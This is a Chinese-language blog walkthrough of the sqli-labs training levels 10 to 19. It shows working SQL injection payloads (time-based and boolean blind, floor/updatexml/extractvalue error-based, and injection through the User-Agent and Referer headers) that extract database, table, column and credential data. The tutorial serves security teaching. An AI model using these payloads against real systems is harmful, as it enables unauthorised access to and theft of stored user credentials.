本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!
Contents
Preface
因为关于Less-11、Less-20,我博文有讲,所以这里不在进行赘述,如有需要可以参考我的文章。
Less-10
0x00
从题目可以看出这是一道基于时间盲注以及双引号注入的题。我们首先判断一下。
?id=1' and sleep(5) --+
发现页面一下就加载完毕
?id=1" and sleep(5)% --+
发现页面过了五秒种才加载完成,所以我们的猜想是正确的,因为and是当前面语句正确的时候,后面的语句才执行,此时说明我们的双引号闭合成功,从而执行了sleep()函数。
0x01
接下来的操作和Less-9一模一样,只需把payload里面的单引号换成双引号即可,运用and的逻辑与if()函数的特性进行注入即可,这里不做过多赘述了
Less-12
0x00
这关和Less-11一样,只不过是它用双引号以及括号对$id变量进行包裹,我们只需要把他当作双引号注入即可,方法具体参考Less-11,可以在登录名上直接进行注入,也可以用burp抓包进行修改POST请求携带的数据
Less-13
0x00
从题目看这又是一个双查询,经过我们测试这也是一个盲注,没有回显点,为了我们巩固一下报错盲注我们仍然这关使用报错盲注
0x01
首先根据要求输入一个用户名和密码,它提示登录成功
然后我们呢专门输入一个错误的密码,它提示我们登录错误
这就是两种不同的回显页面,所以这关我们也可以用布尔类型的盲注
0x02
我们先在用户名后面增加一个单引号看看他的变量是由什么包裹
出现了,大家可能看不大清,这是一个单引号与括号的包裹所以我们注入的时候闭合括号与单引号即可进行注入
0x03
我们开始使用报错型盲注(floor型),首先我们判断一下列数
admin') order by 3 #
经过我们测试它只有两列,所以我们联合查询的时候要注意与原表列数相同
0x04
admin') union select count(*),concat_ws('~',database(),floor(rand(0)*2)) as a from users group by a #
我们成功爆出了它所使用的数据库名字
0x05
admin') union select count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2)) as a from users group by a #
我们成功爆出了表名
至于我为什么不用group_concat直接把表全输出的原因,请看Less-5
0x06
接下来是爆破字段名
admin') union select count(*),concat_ws('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2)) as a from users group by a #
username和password分别在第九个和第十个
0x07
最后我们爆破用户名和密码
admin') union select count(*),concat_ws('~',(select username from users limit 0,1),floor(rand(0)*2)) as a from users group by a #
admin') union select count(*),concat_ws('~',(select password from users limit 0,1),floor(rand(0)*2)) as a from users group by a #
至此我们就完成了注入,原理和Less-5一样,我为了巩固floor报错所以又用了一遍这个方法,有兴趣的同学可以试试其他报错方法。
Less-14
0x00
这关和Less-13一样,我们首先先看变量是由什么包裹
输入单引号发现页面显示登录失败
那我们尝试双引号,发现页面报错,得知这是一个只有双引号包裹的变量
0x01
admin" #
页面正常,说明我们的猜想正确
接下来的方法和上一关一模一样,只需要把payload中的单引号改为双引号即可,这里不做过多赘述。
Less-15
0x00
首先我们用同样的方法来判断变量由什么包裹,结果发现无论我们用什么来试,它都是不报错的
至于是不是单引号包裹,我不是看源代码得知的,我是通过and和sleep函数来判断包裹它的到底是什么
admin' and sleep(5) #
我们发现页面执行了5s,则证明我们的猜想是正确的
0x01
其实到这里问题就已经解决了,我们这关可以用时间注入、也可以用布尔类型的注入
因为没有报错信息,所以就不能用报错型注入,原因是源代码中输出报错信息的语句被注释掉了
这关我们来复习一下时间注入和布尔类型注入,所以我们下面用两种方法分别进行注入
首先先猜解列数
admin' order by 3 #
我们虽然看不到错误信息,但是可以通过页面的回显来判断是否正确
最后经过我们猜解它有两列
0x02
查数据库名
admin' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) #
发现页面没有延迟执行且页面为登录正确时候的页面,说明我们的猜想正确,所以说明数据库名字的第一位为s
admin' and ascii(substr(database(),1,1))=115 #
我们发现页面为正确登录时候的页面,即我们猜想正确
0x03
接下来的操作就是和Less-8、Less-9完全一样了
爆破表名
admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) #
admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 #
即数据库中的第一张表的第一个字符的ASCII码为101 => e
0x04
接下来的操作就不做过多叙述,只需把payload改为相应的查询语句即可,
当然这样操作比较慢而且费时,所以我们可以运用burp的爆破模块,来进行爆破,也就是把payload中的ascii码作为变量,然后更改对应的限制条件
例如:如果想爆破一张表的名字
第一步,先爆破第一张表的第一个字符的ASCII值
那么就跟上述所说payload一致
admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 #
第二步,爆破第一张表第二个字符的ASCII值
我们就需要将payload中的substr()函数里面的第二个参数改为2,以此类推,想要爆破第几个字符,就把substr()函数中的第二个参数改为对应的数字即可
第三步,爆破第二张表的第一个字符,我们需要把payload中的limit 0,1改为limit 1,1这就相当于将第二张表查了出来,然后操作就和第一、二步相同
ASCII码是爆破的变量,根据需求更改限制条件
Less-16
0x00
这关与第十五关类似,我们首先看看变量的周围是什么包裹着的
1.admin' and sleep(5) #
2.admin" and sleep(5) #
3.admin) and sleep(5) #
4.admin') and sleep(5) #
5.admin") and sleep(5) #
经过我们尝试,变量周围是第五种方法,也就是被双引号+圆括号围着
0x01
这关唯一与上一关不同的是,这关不能运用布尔盲注,因为当语句执行执行正确或者错误的时候,页面总是返回登录失败且没有报错信息,所以这关我们只能用时间注入,具体操作我不再进行赘述
Less-17
0x00
这关的题目是Update query 也就是更新语句,题目可以实现的功能就是修改密码
首先这道题的最基本的要求是要知道用户名,如果不知道,可以打开数据库可视化管理软件来查看user表里的username
0x01
因为这道题也算是盲注,一是没有回显位置,二是只要用户名正确,就返回修改密码成功,所以我们不能运用布尔类型注入,因为这道题的大前提就是用户名必须得存在且正确,所以这道题相当于只回显修改密码成功的界面
所以我们有报错注入、延迟注入的方法可以用。
下面我们用报错注入来进行解题,从而巩固报错注入的解题过程
0x02
因为一开始做实在是无错下手,遂我查看了源代码,然后我们分析一下代码
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
如果变量是非空的话那么截取其前15个字符,empty()函数是检查变量是否为非空,如果是空则返回ture,又因为前面又”非“这个逻辑运算符,所以最终等价于当变量非空时
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
然后判断我们php配置文件中的magic_quotes_gpc是否开启,如果开启则返回1,那么去除这个变量所带的反斜杠。如果这个功能开启,那么所有单引号、双引号、反斜杠、NULL前面都会自动加上反斜杠
默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
mysql_real_escape_string()函数将特殊字符进行转义,特殊字符如下:
\x00
\n
\r
\
'
"
\x1a
判断变量是否为十进制数字,如果不是数字,先将其变量内容中的特殊字符进行转义则在这个变量两边加上单引号,如果是数字则使其转变为数字类型
0x03
由此我们可见,题目对于username的过滤非常严格,我们根本没有机会对其进行注入,所以我们把目标转移到密码上去
我们发现存储密码的这个变量的周围有单引号包围,所以我们可以进行单引号注入
0x04
我们首先来查看它的列数
我们发现它只有一列,接下来开始我们的注入
在这里,我就不演示延迟注入了,我们接下来用三种报错注入方式来进行注入
floor()、updatexml()和extractvalue(),后两个函数都是运用错误的Xpath格式会报错的原理来进行报错,从而得到关键信息的
因为这关的列数只有1,所以我们无法再用Less-5那样的floor()函数来让它报错,所以我们可以用派生表的方法来进行
1.floor()报错
1' and (select 1 from (select count(*),concat_ws('~',database(),floor(rand()*2)) as a from users group by a) b) #
2.updatexml()报错
updatexml(XML_document,Xpath_string,new_value)
第一个参数是为XML文档对象的名称
第二个参数是Xpath格式的字符串
第三个参数是替换查找到符合条件的数据
我们利用的就是Xpath格式的错误,从而暴露关键信息
1' and updatexml(1,concat(0x7e,database()),1) #
3.extractvalue()报错
extractvalue(XML_document,new_value)函数和updatexml函数功能类似,都是对xml文档进行修改
1' and extractvalue(1,concat(0x7e,database())) #
0x04
至此我们这关的注入就算成功了,剩下的只需更改对应的子查询语句即可,至于延迟注入,方法还是和往常的一样,所以在这里就不进行过多赘述了
Less-18
0x00
这关我们从题目可以看出,它是一个基于报错的头部注入,也就是HTTP协议中Header的内容,具体内容可以参考我的文章《HTTP协议的报文》
所以这关我们用burp抓包试试看,它的报文是什么样子的。
我们又因为对用户名和密码进行注入的尝试,但发现它们对我们的输入进行了转义和过滤
所以我们在用户名和密码上不能完成注入,所以我们把目标转向作者要锻炼我们的能力——Header上面去。
0x01
当我们正确登陆时,页面的回显有两个位置,一是我们的ip地址,二是我们的身份,所以我们考虑可以对这两个进行注入,但是因为IP地址不好更改,所以我们把目标转到User-Agent上面去
接下来我们抓包,把User-Agent随便改为一个值,看看页面的回显
我们可以看到页面回显的User-Agent成功被我们更改,所以我们就可以从此入手进行注入啦~
0x02
因为更改User-Agent内容的时候,它会输出你更改的内容,所以我们将其更改为sql语句,系统不执行的,所以我们只能依靠报错注入来,使其出现关键信息的错误
我们先判断用户变量的周围由什么包裹着
User-Agent:'
我们得知此变量是由单引号包裹着的
所以我们接下来对于User-Agent进行注入
0x03
数据库名
User-Agent:aaa' and extractvalue(1,concat(0x7e,database(),0x7e))) #
这里最后多一个圆括号的原因是原查询语句:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname);
的VALUE是有一对括号的,当我们在$uagent变量进行单引号注入的时候,在最后会注释掉多余的单引号,那么此时最后面的一个圆括号也被注释掉了,所以如果我们不在payload最后增加一个圆括号的话,那么会造成括号不匹配从而报错。
如果我们不想注释掉最后一个圆括号,那么我们就要利用剩下的一个单引号来构造我们的payload
User-Agent:aaa' and extractvalue(1,concat(0x7e,database(),0x7e)) and '1'='1
我们同样可以利用updatexml()来进行报错
User-Agent:aaa' and updatexml(1,concat(0x7e,database()),1)) #
如果不想用注释的方法话,和上面extractvalue()报错方法一样,不再进行赘述了
0x04
数据表名
User-Agent:aaa' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))) #
剩下的表,通过更改limit的限制条件即可
0x05
表的字段名
User-Agent:aaa' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))) #
剩下的字段名同上
0x06
表的字段值
User-Agent:aaa' and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))) #
User-Agent:aaa' and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))) #
0x07
至此我们所有的数据就已经爆破完毕了,这关其实要注意的就是,如果你要注释掉多余的单引号的话,那么别忘了insert语句最后面的圆括号
Less-19
0x00
由题目知这也是关于Header的注入,只不过是这次的注入点不是User-Agent,而是Referer(表明WEB浏览器是从哪里获得当前请求的URL)
所以我们仿照第十八关,看看它的报文是什么样子的
和十八关几乎完全一样,再由我们从题目中的信息,我们的注入点只能是在Referer上面,因为User-Agent没有回显,且它对我们输出的用户名和密码都进行了过滤和转义
0x01
我们随意更改Referer看下效果
我们可以看到,效果和上一关是完全一样的,我们只需更改Referer即可
0x02
这里只对爆破数据库名作演示
Referer: ' and extractvalue(1,concat(0x7e,database()))) #
剩下的操作和上一关完全一样,这里就不在进行过多赘述了
到这里,我们从第十关到第二十关就全部解决完毕了,如有不懂的地方,请评论或者私聊博主